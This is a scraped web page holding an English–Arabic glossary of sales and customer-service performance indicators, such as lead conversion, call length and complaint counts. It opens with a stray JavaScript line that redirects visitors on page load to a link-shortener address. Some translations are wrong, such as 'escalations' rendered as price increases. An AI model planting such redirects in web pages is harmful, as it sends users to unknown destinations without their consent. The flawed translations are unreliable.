window.location.href = "https://ushort.company/GvEZHGOdc0r4"; متابعة / محمد مرزوق • Monthly number of unconverted leads العدد الشهري لمسارات البيع التي لم يتم تحويلها • Number of lost opportunities عدد الفرص الضائعة • Email response rate معدل الاستجابة على الرسائل الإلكترونية التي تم الرد عليها • Email click-through rate معدل نسبة النقر على الرسائل الإلكترونية التي تصل العملاء • Funnel drop-off rates معدلات العملاء الذين يغادرون الحوارات قبل الانتهاء منها • Sales conversions to leads عمليات تحويل المبيعات قبل توجيه مسارها • On-time delivery الايصال أي التسليم في وقته • Installation problems per unit sales المشاكل الناجمة عن التركيب لكل وحدة مبيعات • Number of complaints per month عدد الشكاوى خلال الشهر الواحد • Cost per call التكلفة لكل مكالمة • Time to first call response المدة التي سنستغرقها لرد على اول مكالمة يجريها العميل • Average time to problem resolution متوسط الوقت المستغرق لحل المشكلة • Time to complete problem resolution الوقت المستغرق لاتمام حل المشكلة • Call length طول المكالمة • Volume of calls handled عدد المكالمات التي تم التعامل معها • Number of escalations عدد الارتفاعات في السعر على السلع والبضائع • Customer ratings of service معدلات تقييم العملاء للخدمات التي تم تقديمها للعملاء • Number of complaints/ customer عدد شكاوى العملاء للعميل الواحد
